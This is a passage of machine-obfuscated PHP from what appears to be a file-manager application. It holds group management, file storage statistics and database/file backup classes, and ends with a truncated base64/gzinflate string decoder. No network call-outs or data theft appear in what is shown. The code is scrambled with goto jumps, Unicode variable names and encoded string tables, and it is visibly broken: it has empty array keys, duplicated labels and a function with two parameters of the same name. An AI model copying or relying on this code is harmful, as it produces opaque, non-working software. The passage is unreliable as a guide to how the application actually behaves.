$_SERVER[ڊ]; if (!$A) { return; } if (!is_array($A)) { $A = array($A); } goto bƓ; a: } public function findByHash($Fׅ, $aᢱ = false) { $Cֱ̾ =& $_SERVER[ڊ]; if (!$Fׅ && !$aᢱ) { return !1; } $c = array($Cֱ̾[2127] => $Fׅ); if ($aᢱ) { $c = array($Cֱ̾[2128] => $aᢱ); } return $this->order($Cֱ̾[2130])->where($c)->find(); } public function clearEmpty($B = 0) { goto c݄; A枢: foreach ($aȈ as $e٫) { $aҟǘ->update(1); $this->resetFile($e٫); } $aҟǘ->end(); goto eقی; c݄: $CǶ鑖 =& $_SERVER[ڊ]; $d = time() - 3600 * 24 * $B; $e = $CǶ鑖[2131] . $d; goto Aڢ; Aڢ: $aȈ = $this->where($e)->select(); if (!$aȈ) { return; } $aҟǘ = new Task($CǶ鑖[2132], $CǶ鑖[33], count($aȈ)); goto A枢; eقی: } private function resetFile($eχ) { goto f˃; f˃: $BܫՌ =& $_SERVER[ڊ]; $Cš = array($BܫՌ[416] => $eχ[$BܫՌ[415]]); $CՍ = Model($BܫՌ[1102])->where($Cš)->count(); goto bĪ; bĪ: $dַ = Model($BܫՌ[2133])->where($Cš)->count(); $fë = intval($CՍ) + intval($dַ); if ($fë == 0) { IO::remove($eχ[$BܫՌ[75]]); $this->where($Cš)->delete(); $this->metaSet($eχ[$BܫՌ[415]], null, null); return; } goto c; c: if ($eχ[$BܫՌ[2129]] != $fë) { $this->where($Cš)->save(array($BܫՌ[2126] => $fë)); } goto f; f: } public function storageInfo($e = false) { goto b塹; b塹: $d؊ =& $_SERVER[ڊ]; $FɈІ = $this->count() + 0.0; $aߨȾ = 0; goto Dݵ; Dݵ: $e؈ = 1; $Cݝȧ = 0; $cި = 5000; goto F; F: for ($fÌ = 0; $fÌ < $FɈІ; $fÌ = $fÌ + $cި) { $f𰐳 = $this->limit($fÌ, $fÌ + $cި)->select(); foreach ($f𰐳 as $E˘) { $e؈ += $E˘[$d؊[77]] * $E˘[$d؊[2129]]; $aߨȾ += $E˘[$d؊[77]] * ($E˘[$d؊[2129]] - 1); $Cݝȧ += $E˘[$d؊[2129]]; } } $c䒘 = array($d؊[2134] => $e؈, $d؊[2135] => $aߨȾ, $d؊[2136] => $aߨȾ / $e؈, $d؊[81] => $FɈІ, $d؊[2137] => $Cݝȧ); return $c䒘; goto FĈԇ; FĈԇ: } } class GroupModel extends ModelBase { protected $tableName = "\x67\162\x6f\x75\160"; protected $tableMeta = array("\x74\141\142\154\145\116\141\x6d\145" => "\x67\162\x6f\165\x70\137\x6d\145\164\x61", "\x6d\x65\x74\141\x46\x69\145\154\x64" => "\147\162\x6f\x75\160\x49\x44"); protected function cacheFunctionAlias($F) { $d՗툈 =& $_SERVER[ڊ]; return array($d՗툈[2138] => array($F[0], $d՗툈[2139]), $d՗툈[2140] => array($F[0], $d՗툈[2139])); } protected function getInfo($DѮ) { $a΂֜ = $this->getInfoSimple($DѮ); if (!$a΂֜) { return !1; } return $this->_listDataApplyItem($a΂֜); } protected function getInfoSimple($Eލ, $fƛؠ = false) { $AՐ =& $_SERVER[ڊ]; if ($fƛؠ) { $B = array($AՐ[2072] => intval($Eލ)); $f쩈 = $this->where($B)->find(); return is_array($f쩈) ? $f쩈 : array(); } return $this->cacheFunctionGet($AՐ[2141], $Eލ); } protected function groupAdd($b») { goto c̃Р; b׃: if ($Aͩ[$D膻[455]]) { $A = $Aͩ[$D膻[455]] . $Aͩ[$D膻[2072]] . $D膻[47]; } $FΠ͜ = array($D膻[383] => $this->groupNameAuto($b»[$D膻[457]], $b»[$D膻[28]]), $D膻[365] => $b»[$D膻[457]], $D膻[521] => $A, $D膻[2142] => $b»[$D膻[2056]], $D膻[2143] => 0, $D膻[2076] => 0); if (!empty($b»[$D膻[2072]])) { $FΠ͜[$D膻[2072]] = $b»[$D膻[2072]]; } goto AŹ; c̃Р: $D膻 =& $_SERVER[ڊ]; if (!$b»[$D膻[457]] && isset($b»[$D膻[2072]]) && $b»[$D膻[2072]] == 1) { if ($Aͩ = $this->getInfoSimple($b»[$D膻[2072]], !0)) { return $b»[$D膻[2072]]; } } else { $Aͩ = $this->getInfoSimple($b»[$D膻[457]]); if (!$Aͩ) { return !1; } } $A = $D膻[466]; goto b׃; F: return $AȻ; goto d뫽; AŹ: $AȻ = $this->add($FΠ͜); $this->setNamePinyin($AȻ, $FΠ͜[$D膻[28]]); Model($D膻[1102])->groupRootAdd($AȻ); goto F; d뫽: } protected function groupEdit($Bѣء, $dλ) { $d =& $_SERVER[ڊ]; if (!empty($dλ[$d[457]])) { $C΍ = $this->getInfoSimple($Bѣء); $fǭ = $this->getInfoSimple($dλ[$d[457]]); if (!$C΍ || !$fǭ) { return !1; } if ($C΍[$d[2072]] == $fǭ[$d[2072]]) { return !1; } if ($dλ[$d[457]] != $C΍[$d[457]]) { if ($fǭ[$d[455]] !== $C΍[$d[455]] && strpos($fǭ[$d[455]], $C΍[$d[455]] . $C΍[$d[2072]] . $d[47]) === 0) { return !1; } $dλ[$d[521]] = $fǭ[$d[455]] . $dλ[$d[457]] . $d[47]; $this->_changeChildLevel($C΍, $fǭ); } } if (isset($dλ[$d[28]])) { $this->setNamePinyin($Bѣء, $dλ[$d[28]]); } return $this->where(array($d[2144] => $Bѣء))->save($dλ); } private function _changeChildLevel($a, $cОȎ, $F媢 = false) { goto A欪; AƓ: $this->where($Fˉ)->data($aᬉ)->save(); goto Å; A欪: $Dʋ =& $_SERVER[ڊ]; $dϛ = $a[$Dʋ[455]] . $a[$Dʋ[2072]] . $Dʋ[47]; $dǮא = $cОȎ[$Dʋ[455]] . $cОȎ[$Dʋ[2072]] . $Dʋ[47] . $a[$Dʋ[2072]] . $Dʋ[47]; goto aٚ²; aٚ²: if ($F媢) { $dǮא = $cОȎ[$Dʋ[455]] . $cОȎ[$Dʋ[2072]] . $Dʋ[47]; } $Fˉ = array($Dʋ[521] => array($Dʋ[479], $a[$Dʋ[455]] . $a[$Dʋ[2072]] . $Dʋ[480])); $aᬉ = array($Dʋ[521] => array($Dʋ[530], "\162\x65\160\x6c\141\x63\x65\x28\160\x61\162\145\x6e\164\x4c\x65\166\145\154\x2c\47{$dϛ}\x27\x2c\x27{$dǮא}\x27\x29")); goto AƓ; Å: } public function setNamePinyin($d纃, $f疆 = false) { $c =& $_SERVER[ڊ]; if (!$f疆) { $d = $this->getInfoSimple($d纃); $f疆 = $d[$c[28]]; } if (!Input::check($f疆, $c[524])) { $this->metaSet($d纃, $c[412], null); $this->metaSet($d纃, $c[411], null); return; } $Bø = array($c[412] => str_replace($c[50], $c[33], Pinyin::encode($f疆)), $c[411] => Pinyin::encode($f疆, $c[525])); $this->metaSet($d纃, $Bø); } protected function groupRemove($Bȑ) { goto D򲡰ɓ; d݄: if (!$C⌈ || $C⌈[$e¶őΰ[457]] == 0) { return !1; } $dɺզ = $this->getInfoSimple($C⌈[$e¶őΰ[457]]); $this->_changeChildLevel($C⌈, $dɺզ, !0); goto Ȇ̐; D򲡰ɓ: $e¶őΰ =& $_SERVER[ڊ]; $eۧ = array($e¶őΰ[2072] => $Bȑ); $C⌈ = $this->where($eۧ)->find(); goto d݄; c: Model($e¶őΰ[747])->groupRootRemove($Bȑ); return $this->where($eۧ)->delete(); goto dŻ; Ȇ̐: $this->where(array($e¶őΰ[457] => $Bȑ))->save(array($e¶őΰ[457] => $C⌈[$e¶őΰ[457]])); Model($e¶őΰ[2145])->where($eۧ)->delete(); Model($e¶őΰ[2146])->where($eۧ)->delete(); goto c; dŻ: } public function listData() { $aپ = $this->_makeOrder()->selectPage(50); $this->_listDataApply($aپ[$_SERVER[ڊ][351]]); return $aپ; } private function _makeOrder($A个 = '') { goto cʸ; cʸ: $Eܧ =& $_SERVER[ڊ]; $a = array($Eܧ[2072], $Eܧ[28], $Eܧ[2058], $Eܧ[184]); $a܌ = array($Eܧ[398] => $Eܧ[399], $Eܧ[400] => $Eܧ[401]); goto Fޜ; Fޜ: $aȶ = Input::get($Eܧ[403], $Eܧ[7], $Eܧ[2144], $a); $B钍 = Input::get($Eܧ[404], $Eܧ[7], $Eܧ[2147], array($Eܧ[2147], $Eܧ[400])); $B钍 = $a܌[$B钍]; goto bџ; bџ: $A个 = $A个 . "{$aȶ}\40{$B钍}\54\x20\147\x72\x6f\165\160\x49\x44\x20\141\x73\x63"; return $this->order($A个); goto E±; E±: } public function listChild($Bʇ) { $Cﴖָ =& $_SERVER[ڊ]; $b = $this->where(array($Cﴖָ[457] => $Bʇ))->_makeOrder()->selectPage(200); $this->_listDataApply($b[$Cﴖָ[351]]); return $b; } public function listByID($f߆) { $F =& $_SERVER[ڊ]; if (!$f߆) { return array(); } $c徱 = array($F[2072] => array($F[7], $f߆)); $E = $this->where($c徱)->select(); $this->_listDataApply($E); return $E; } public function listSearch($e) { goto e; b: $this->_listDataApply($aˬ[$A[351]]); return $aˬ; goto A˾Ô; fĂ߷: if (!trim($C޾՘)) { return !1; } $C޾՘ = str_replace($A[2150], $A[2151], $C޾՘); $eљ = array($A[2072] => array($A[746], "\x25{$C޾՘}\45"), $A[28] => array($A[746], "\45{$C޾՘}\45"), $A[908] => $A[2152]); goto b; e: $A =& $_SERVER[ڊ]; $C޾՘ = $e[$A[2148]]; $E = isset($e[$A[2149]]) ? $e[$A[2149]] : !1; goto fĂ߷; b: $aˬ = $this->_makeOrder()->where($eљ)->selectPage(20); $aˬ = $aˬ ? $aˬ : array(); if (!$aˬ || count($aˬ[$A[351]]) < 5 && Input::check($C޾՘, $A[303])) { $AѦƠ = $this->_searchFromMeta($A[411], $C޾՘, 10); $AɌ剢߄ = $this->_searchFromMeta($A[412], $C޾՘, 10); $A䵈 = array_merge($AѦƠ, $AɌ剢߄, $aˬ[$A[351]]); $aˬ[$A[351]] = array_unique_by_key($A䵈, $A[2072]); $aˬ[$A[348]][$A[349]] = count($aˬ[$A[351]]); $aˬ[$A[348]][$A[350]] = ceil($aˬ[$A[348]][$A[349]] / $aˬ[$A[348]][$A[346]]); } goto b; A˾Ô: } private function _searchFromMeta($D烻, $Eˎ, $d) { goto dǖԼ; fԈ: $f = $this->where(array($b[2144] => array($b[7], $fӥ)))->select(); if (!$f) { return array(); } return $f; goto fͽè; A: $fӥ = Model($b[2153])->where($Cٽ)->limit($d)->select(); if (!$fӥ) { return array(); } $fӥ = array_to_keyvalue($fӥ, $b[33], $b[2072]); goto fԈ; dǖԼ: $b =& $_SERVER[ڊ]; $Eˎ = strtolower($Eˎ); $Cٽ = array($b[89] => $D烻, $b[356] => array($b[746], "\x25{$Eˎ}\45")); goto A; fͽè: } protected function _listDataApplyItem($FȎ) { $a̻ = array($FȎ); $this->_listDataApply($a̻); return $a̻[0]; } protected function _listDataApply(&$F˧͋) { goto bĊ; B٩Ř: $this->_listAppendParent($F˧͋); $this->_listAppendSourceRoot($F˧͋, $aڍ); goto EȎΩ; b乏: $this->_listAppendChildren($F˧͋); $this->_listAppendChildrenMember($F˧͋); $this->_listAppendMeta($F˧͋, $aڍ); goto B٩Ř; bĊ: $f˔ǐ =& $_SERVER[ڊ]; if (!$F˧͋) { return; } $aڍ = array_to_keyvalue($F˧͋, $f˔ǐ[33], $f˔ǐ[2072]); goto b乏; EȎΩ: } private function _listAppendChildren(&$d՘˞) { goto Fƻ; C: $A匴̑ = count($d՘˞); $cސ = $this->tablePrefix . $this->tableName; for ($F = 0, $C卑ʹ = 0; $F < $A匴̑; $F++) { $C卑ʹ++; $Cɖު = $d՘˞[$F][$b⻎ʐ[2072]]; $e肈 .= "\123\x45\x4c\105\x43\x54\x20\x2a\40\106\x52\x4f\x4d\40\50\x53\x45\114\x45\103\124\40\47{$Cɖު}\137\143\x68\x69\154\144\47\x20\141\x73\40\x68\141\163\40\106\122\x4f\115\x20\x60{$cސ}\140\40\x77\150\x65\x72\x65\40\160\x61\x72\x65\x6e\x74\x49\104\75{$Cɖު}\x20\x6c\x69\155\x69\164\40\61\51\40\x61\x73\40\164\x62\x5f{$Cɖު}\40\x75\156\x69\157\x6e\40\141\x6c\x6c\x20"; if (($C卑ʹ >= 20 || $F == $A匴̑ - 1) && $e肈) { $e肈 = substr($e肈, 0, -strlen($b⻎ʐ[445])); $Eꦐ = $this->query($e肈); $b = array_merge($b, $Eꦐ); $C卑ʹ = 0; $e肈 = $b⻎ʐ[33]; } } goto AƋꐵ; Fƻ: $b⻎ʐ =& $_SERVER[ڊ]; $e肈 = $b⻎ʐ[358]; $b = array(); goto C; AƋꐵ: $b = array_to_keyvalue($b, $b⻎ʐ[446]); foreach ($d՘˞ as &$c釮Ԫ) { $c釮Ԫ[$b⻎ʐ[2154]] = isset($b[$c釮Ԫ[$b⻎ʐ[2072]] . $b⻎ʐ[2155]]); } goto BƨԎ; BƨԎ: } private function _listAppendChildrenMember(&$c—ʼ) { goto D㋽؈; cĜ: $Aݨ = count($c—ʼ); $cɋ = $this->tablePrefix . $aԲ[2146]; for ($aß = 0, $Dڌ = 0; $aß < $Aݨ; $aß++) { $Dڌ++; $B = $c—ʼ[$aß][$aԲ[2072]]; $Bʑǰ .= "\x53\105\x4c\105\x43\124\x20\x2a\40\x46\122\117\x4d\x20\50\x53\x45\x4c\105\103\124\40\47{$B}\x5f\143\150\151\154\144\x27\40\141\x73\x20\x68\x61\163\x20\106\x52\117\x4d\x20\x60{$cɋ}\x60\40\x77\x68\145\x72\x65\40\147\x72\157\x75\160\x49\104\x3d{$B}\40\x6c\x69\x6d\x69\164\40\61\51\40\x61\163\40\x74\142\x5f{$B}\40\x75\156\x69\x6f\x6e\x20\x61\x6c\x6c\x20"; if (($Dڌ >= 20 || $aß == $Aݨ - 1) && $Bʑǰ) { $Bʑǰ = substr($Bʑǰ, 0, -strlen($aԲ[445])); $D࠭ = $this->query($Bʑǰ); $Cț = array_merge($Cț, $D࠭); $Dڌ = 0; $Bʑǰ = $aԲ[33]; } } goto a۷; D㋽؈: $aԲ =& $_SERVER[ڊ]; $Bʑǰ = $aԲ[358]; $Cț = array(); goto cĜ; a۷: $Cț = array_to_keyvalue($Cț, $aԲ[446]); foreach ($c—ʼ as &$dĂ؛) { $dĂ؛[$aԲ[2156]] = isset($Cț[$dĂ؛[$aԲ[2072]] . $aԲ[2155]]); } goto C۴; C۴: } private function _listAppendMeta(&$C䭋, $c뵒) { $Dڬ =& $_SERVER[ڊ]; $Aإ = array($Dڬ[2072] => array($Dڬ[7], $c뵒)); $C߷ = Model($Dڬ[2145])->where($Aإ)->select(); $C߷ = array_to_keyvalue_group($C߷, $Dڬ[2072]); foreach ($C߷ as &$B孙) { $B孙 = array_to_keyvalue($B孙, $Dڬ[89], $Dڬ[356]); } foreach ($C䭋 as &$e̹) { $e̹[$Dڬ[413]] = array(); if (isset($C߷[$e̹[$Dڬ[2072]]])) { $e̹[$Dڬ[413]] = $C߷[$e̹[$Dڬ[2072]]]; } } } protected function parentLevelArray($cĠӥ) { $C㌖ =& $_SERVER[ڊ]; $cĠӥ = explode($C㌖[47], trim($cĠӥ, $C㌖[47])); $cĠӥ = array_remove_value($cĠӥ, $C㌖[464]); return $cĠӥ; } private function _listAppendParent(&$dڧٓ) { goto Aң; a֔: foreach ($dڧٓ as &$d۰) { $EƐɢ = $this->parentLevelArray($d۰[$d[455]]); $f͝ = $d[33]; foreach ($EƐɢ as $D) { $f͝ .= $Fޙ[$D] . $d[8]; } if ($EƐɢ) { $f͝ .= $d۰[$d[28]]; } $d۰[$d[459]] = str_replace($d[463], $d[8], $f͝); } goto Aֳ; C: $bǥ沩 = array(); foreach ($Fޙ as $Eȗ => $aٕ) { if (!$aٕ) { $bǥ沩[] = $Eȗ; } } if ($bǥ沩) { $cт = array($d[2144] => array($d[381], $bǥ沩)); $A = $this->field($d[2157])->where($cт)->select(); $c쿋 = array_to_keyvalue($A, $d[2072], $d[28]); $Fޙ = array_merge_index($Fޙ, $c쿋); } goto a֔; Aң: $d =& $_SERVER[ڊ]; $Fޙ = array(); foreach ($dڧٓ as &$d۰) { $Fޙ[$d۰[$d[2072]]] = $d۰[$d[28]]; $EƐɢ = $this->parentLevelArray($d۰[$d[455]]); foreach ($EƐɢ as $D) { if (!isset($Fޙ[$D])) { $Fޙ[$D] = 0; } } } goto C; Aֳ: } private function _listAppendSourceRoot(&$Bݣ, $bӌĨ) { goto D; D۫: foreach ($Bݣ as &$BΧ) { $BΧ[$eʓ[388]] = $bћ[$BΧ[$eʓ[2072]]] ? $bћ[$BΧ[$eʓ[2072]]] : array(); } goto B; D: $eʓ =& $_SERVER[ڊ]; $Fڢް = array($eʓ[368] => SourceModel::TYPE_GROUP, $eʓ[457] => 0, $eʓ[452] => array($eʓ[7], $bӌĨ)); $fዕ = $eʓ[2158]; goto b˅ؾ; b˅ؾ: $bћ = Model($eʓ[747])->order($eʓ[2159])->field($fዕ)->where($Fڢް)->select(); $bћ = array_to_keyvalue($bћ, $eʓ[452]); $bћ = array_remove_key($bћ, $eʓ[452]); goto D۫; B: } protected function resetParentLevel() { $Cˌڴ =& $_SERVER[ڊ]; $f浌Ơ = $Cˌڴ[2072]; $d醳 = $this->select(); $d醳 = array_to_keyvalue($d醳, $f浌Ơ); foreach ($d醳 as $F֍) { goto c͕Nj; fŏܓ: $this->where(array($f浌Ơ => $F֍[$f浌Ơ]))->save(array($Cˌڴ[521] => $c䇲ճ)); goto d; c͕Nj: $B㑢ū = $F֍; $c䇲ճ = array(); while ($B㑢ū[$Cˌڴ[457]] != 0) { $c䇲ճ[] = $B㑢ū[$Cˌڴ[457]]; $B㑢ū = $d醳[$B㑢ū[$Cˌڴ[457]]]; } goto e; e: $c䇲ճ[] = 0; $c䇲ճ = $Cˌڴ[47] . implode($Cˌڴ[47], array_reverse($c䇲ճ)) . $Cˌڴ[47]; $this->setNamePinyin($F֍[$f浌Ơ], $F֍[$Cˌڴ[28]]); goto fŏܓ; d: } return $d醳; } public function groupNameAuto($aԴ, $B) { $Dύ =& $_SERVER[ڊ]; $cԂ = $this->where(array($Dύ[365] => $aԴ))->getField($Dύ[28], !0); if (!$cԂ || !in_array($B, $cԂ)) { return $B; } for ($d˭ = 1; $d˭ <= count($cԂ) + 1; $d˭++) { $c = $B . "\50{$d˭}\x29"; if (!in_array($c, $cԂ)) { return $c; } } } } goto AŜъ; DЍ: function Action($E = '') { goto F; dͱ¸: $F = strtolower($dᚈ); if (isset($cقŤ[$F])) { return $cقŤ[$F]; } if (is_file($E†Ϝދ)) { include_once $E†Ϝދ; } goto eҝĥ; F: $Bֲ =& $_SERVER[]; static $cقŤ = array(); $E = trim(str_replace($Bֲ[4], $Bֲ[5], $E), $Bֲ[4]); goto e; eҝĥ: if (!class_exists($dᚈ)) { return actionCallError("\x5b{$E}\40\75\x3e\x20{$dᚈ}\x5d\40\x63\154\141\x73\x73\40\x6e\x6f\164\x20\145\170\151\163\164\x73\x21"); } $cقŤ[$F] = new $dᚈ(); return $cقŤ[$F]; goto EĦڄ; e: $aÄ = explode($Bֲ[5], $E); $A亶 = strtolower($aÄ[0]); if (substr($A亶, -6) == $Bֲ[6]) { $E = substr($aÄ[0], 0, -6); $dᚈ = $E . $Bֲ[7]; $E†Ϝދ = $Bֲ[8]; if (isset($aÄ[1]) && substr(strtolower($aÄ[1]), -5) == $Bֲ[9]) { $dᚈ = $E . $aÄ[1]; $E†Ϝދ = $Bֲ[10] . $aÄ[1] . $Bֲ[11]; } else { if (count($aÄ) == 3) { $dᚈ = $E . $aÄ[1] . $aÄ[2]; $E†Ϝދ = $Bֲ[12] . $aÄ[1] . $Bֲ[13] . $aÄ[2] . $Bֲ[11]; } } $E†Ϝދ = PLUGIN_DIR . $E . $Bֲ[4] . $E†Ϝދ; } else { if (substr($A亶, -5) == $Bֲ[9]) { $E = substr($aÄ[0], 0, -5); return Model($E); } else { $dᚈ = $aÄ[0] . $aÄ[1]; $E†Ϝދ = CONTROLLER_DIR . $aÄ[0] . $Bֲ[4] . $aÄ[1] . $Bֲ[14]; } } goto dͱ¸; EĦڄ: } function ActionApply($cơŦ, $Cזቩ = array()) { goto eˬ; eˬ: if (is_array($cơŦ)) { return call_user_func_array($cơŦ, $Cזቩ); } if (function_exists($cơŦ)) { return call_user_func_array($cơŦ, $Cזቩ); } $A쿸 = strrpos($cơŦ, $_SERVER[][5]); goto fߨϔ; fߨϔ: $B󱤦 = substr($cơŦ, 0, $A쿸); $b͌ = substr($cơŦ, $A쿸 + 1); $F񤡺 = Action($B󱤦); goto A쯌; A쯌: if (!method_exists($F񤡺, $b͌)) { return actionCallError("{$cơŦ}\40\155\x65\x74\150\x6f\144\40\x6e\157\164\40\x65\x78\x69\x73\164\163\x21"); } $c = call_user_func_array(array($F񤡺, $b͌), $Cזቩ); return $c; goto f珓; f珓: } function actionCallError($Aშ) { $c =& $_SERVER[]; $bѯ = json_encode_force(array($c[15] => this_url(), $c[16] => $GLOBALS[$c[16]])); $bѯ = str_replace(array($c[17]), array($c[4]), $bѯ); return write_log($Aშ . $c[18] . $bѯ, $c[19]); } goto a; d̙: class BackupDb { protected static $io; protected static $name; public function __construct() { } public function index() { goto C; BĠՉݙ: $c…->end(); $dٻ = array($d[715] => $B, $d[702] => 1, $d[716] => $Bş, $d[717] => $Bş); Backup::set($dٻ); goto fߗ; E: mk_dir($A∅); $CŒ = $bƴ->db()->getTables(); $Bş = 0; goto f񷤮; f񷤮: $c… = new Task($d[706], $d[707], 0, LNG($d[708]) . $d[709] . LNG($d[710])); $CŒ = array_diff($CŒ, array($d[711], $d[712])); foreach ($CŒ as $D) { $eɃӧ = $A∅ . $D . $d[713]; $eͷϱ = null; if ($D == $d[714] && (!isset($Cۏ[$d[687]]) || $Cۏ[$d[687]] == $d[464])) { $eͷϱ = self::$io; } $Bş += $bƴ->sqlFromDb($D, $eɃӧ, $c…, $eͷϱ); } goto BĠՉݙ; C: $d =& $_SERVER[ڊ]; $Cۏ = Backup::get(); self::$io = $Cۏ[$d[686]]; goto e†; B׈: $bƴ = new DbManage($Aق, $B); $A∅ = TEMP_FILES . $d[705] . self::$name . $d[8]; del_dir($A∅); goto E; fߗ: return !0; goto D; e†: self::$name = $Cۏ[$d[28]]; $Aق = $GLOBALS[$d[6]][$d[17]]; $B = $this->_dbType($Aق); goto B׈; D: } private function _dbType($a덐) { $E =& $_SERVER[ڊ]; $Eĥݤ = $a덐[$E[718]]; if ($Eĥݤ == $E[719]) { $CꐩĹ = explode($E[4], $a덐[$E[720]]); $Eĥݤ = $CꐩĹ[0]; } $a = array($E[721] => $E[9], $E[722] => $E[723]); if (isset($a[$Eĥݤ])) { $Eĥݤ = $a[$Eĥݤ]; } return $Eĥݤ; } } class BackupDbFile { public function __construct() { } public function index() { goto bړ; dҾϜ: $A = new TaskFileTransfer($c[724], $c[707], 0, LNG($c[708]) . $c[408] . LNG($c[710]) . $c[725]); $A->addPath($A׫); $e = IO::infoWithChildren($A׫); goto E빂; B: return !0; goto b; E빂: Backup::set(array($c[726] => $e[$c[77]])); IO::move($A׫, $Eū‹ҭ); $Eߩ = CONTROLLER_DIR . $c[727]; goto EՊ; aݥϦ: $A׫ = TEMP_FILES . "\x62\141\143\x6b\165\160\x5f{$e}\57"; $Eū‹ҭ = "\173\x69\x6f\x3a{$Dƕ[$c[686]]}\x7d\57\x64\141\164\x61\x62\141\163\145\57"; IO::mkdir($Eū‹ҭ . "\142\x61\143\153\165\160\x5f{$e}\x2f"); goto dҾϜ; bړ: $c =& $_SERVER[ڊ]; $Dƕ = Backup::get(); $e = $Dƕ[$c[28]]; goto aݥϦ; EՊ: IO::copy($Eߩ, $Eū‹ҭ . "\142\141\143\153\165\160\x5f{$e}\57"); $A->end(); Backup::set(array($c[728] => $e[$c[77]])); goto B; b: } } class BackupFile { public function __construct() { } public function index() { goto f; f: $b = Backup::get(); $bм = $b[$_SERVER[ڊ][278]][$_SERVER[ڊ][164]][$_SERVER[ڊ][415]]; $Bߡ = array($_SERVER[ڊ][416] => array($_SERVER[ڊ][729], $bм), $_SERVER[ڊ][730] => array($_SERVER[ڊ][316], $b[$_SERVER[ڊ][686]])); goto c; F: $A = $E鐳 = 0; do { $C쎐 = $_SERVER[ڊ][735]; $F = Model($_SERVER[ڊ][714])->where($Bߡ)->field($C쎐)->order($_SERVER[ڊ][736])->selectPage($Fѕޏ, $b󽦭); $c¾ = !empty($F[$_SERVER[ڊ][351]]) ? $F[$_SERVER[ڊ][351]] : array(); foreach ($c¾ as $E뗘ä) { goto a; Að: $AՂھ += $E뗘ä[$_SERVER[ڊ][77]]; $E鐳 += 1; $A += $E뗘ä[$_SERVER[ڊ][77]]; goto C; a: if (!$this->_fileExist($E뗘ä, $B”Ү, $B)) { $Dɋ₄ -= 1; $B̭ -= (int) $E뗘ä[$_SERVER[ڊ][77]]; write_log("\x66\151\154\145\x20\156\x6f\164\x20\145\170\x69\163\164\x2e\146\151\154\145\x49\x44\x3a{$E뗘ä[$_SERVER[ڊ][415]]}\54\40\x70\x61\x74\x68\x3a{$E뗘ä[$_SERVER[ڊ][75]]}", $_SERVER[ڊ][737]); continue; } $Bō = $E뗘ä[$_SERVER[ڊ][75]]; $eȌ쮂 = "\x7b\151\x6f\x3a{$b[$_SERVER[ڊ][686]]}\175" . substr($Bō, strlen("\173\151\x6f\x3a{$E뗘ä[$_SERVER[ڊ][738]]}\x7d")); goto E; C: if ($AՂھ >= 1024 * 1024 * 100) { $E͹ = array($_SERVER[ڊ][742] => $bм, $_SERVER[ڊ][743] => $E鐳, $_SERVER[ڊ][744] => $A); Backup::set($E͹); $AՂھ = $D = 0; } goto a; E: if (IO::exist($eȌ쮂)) { $BӰƚ->updateFileEnd($E뗘ä[$_SERVER[ڊ][28]], $E뗘ä[$_SERVER[ڊ][77]]); } else { $eȌ쮂 = get_path_father($eȌ쮂); IO::mkdir($eȌ쮂); if (!IO::copy($Bō, $eȌ쮂, $_SERVER[ڊ][739])) { write_log($_SERVER[ڊ][740] . $Bō . $_SERVER[ڊ][741] . $eȌ쮂 . $_SERVER[ڊ][472], $_SERVER[ڊ][707]); $eƺ = !1; break; } } $bм = $E뗘ä[$_SERVER[ڊ][415]]; $D += 1; goto Að; a: } $dǛ = count($c¾); $b󽦭++; } while ($dǛ == $Fѕޏ); $BӰƚ->end(); goto cԑ; Dۓ: Backup::set($E͹); $this->_fileFilter($B”Ү); return !0; goto D÷; E: $eƺ = !0; $B = $this->storeIds(); $b󽦭 = 1; goto FدǢ; B¹: $BӰƚ->task[$_SERVER[ڊ][693]] = $B̭; $E͹ = array($_SERVER[ڊ][733] => $Dɋ₄, $_SERVER[ڊ][734] => $B̭); Backup::set($E͹); goto E; FدǢ: $Fѕޏ = 1000; $AՂھ = $D = 0; $B”Ү = array(); goto F; c: $Dɋ₄ = (int) Model($_SERVER[ڊ][714])->where($Bߡ)->count($_SERVER[ڊ][415]); $B̭ = (int) Model($_SERVER[ڊ][714])->where($Bߡ)->sum($_SERVER[ڊ][77]); $BӰƚ = new TaskFileTransfer($_SERVER[ڊ][731], $_SERVER[ڊ][707], $Dɋ₄, LNG($_SERVER[ڊ][708]) . $_SERVER[ڊ][709] . LNG($_SERVER[ڊ][732])); goto B¹; cԑ: $BҸџ͘ = $eƺ ? 1 : 0; $E͹ = array($_SERVER[ڊ][745] => 1, $_SERVER[ڊ][698] => time(), $_SERVER[ڊ][704] => $BҸџ͘, $_SERVER[ڊ][742] => $bм, $_SERVER[ڊ][734] => $B̭, $_SERVER[ڊ][733] => $Dɋ₄); if ($D) { $E͹[$_SERVER[ڊ][743]] = $E鐳; $E͹[$_SERVER[ڊ][744]] = $A; } goto Dۓ; D÷: } private function _fileExist($D, &$b”, $D) { goto eȐ; B: if (!in_array($D[$a[738]], $D)) { return !1; } if (IO::exist($a)) { return !0; } $Bӏ = get_path_father($a); goto D; D: if (IO::exist($Bӏ)) { $b”[] = $D[$a[415]]; return !1; } $Aυ = array($a[738] => $D[$a[738]], $a[75] => array($a[746], "{$Bӏ}\45")); $e󳍄 = Model($a[714])->where($Aυ)->field($a[416])->select(); goto d阺ܱ; d阺ܱ: $b” = array_merge($b”, array_to_keyvalue($e󳍄, $a[33], $a[415])); return !1; goto fǺ; eȐ: $a =& $_SERVER[ڊ]; $a = $D[$a[75]]; if (in_array($D[$a[415]], $b”)) { return !1; } goto B; fǺ: } private function _fileFilter($B럙ҧ) { $Dڬ榜 =& $_SERVER[ڊ]; if (empty($B럙ҧ)) { return; } $C = array($Dڬ榜[415] => array($Dڬ榜[7], array_unique($B럙ҧ))); $F = Model($Dڬ榜[747])->where($C)->field($Dڬ榜[366])->select(); foreach ($F as $B̐) { Model($Dڬ榜[747])->remove($B̐[$Dڬ榜[366]], !1); } } private function storeIds() { $Eʓ =& $_SERVER[ڊ]; $F߇ = Model($Eʓ[699])->listData(); return array_to_keyvalue($F߇, $Eʓ[33], $Eʓ[364]); } } goto F; B: if (!function_exists('_kodDe')) { function _kodDe($F) { $F = base64_decode($F); $Aх = strlen($F); $CÏ = ''; $F֍ = ord($F[0]) - 30; for ($e柃 = 1; $e柃 < $Aх; $e柃 += 2) { if ($e柃 + 1 < $Aх) { $CÏ .= chr(ord($F[$e柃 + 1]) + $F֍); $CÏ .= chr(ord($F[$e柃]) + $F֍); } else { $CÏ .= chr(ord($F[$e柃]) + $F֍); } } return $CÏ; } } define("\xda\x8a\x95\xb4\xcd\xe9\xd2\xd1\xd4", strrev('')); $_SERVER[ڊ] = explode("\174\1\174\2\174\6", gzinflate(substr(strrev('l%%e\'9mXD\\K_rg0| 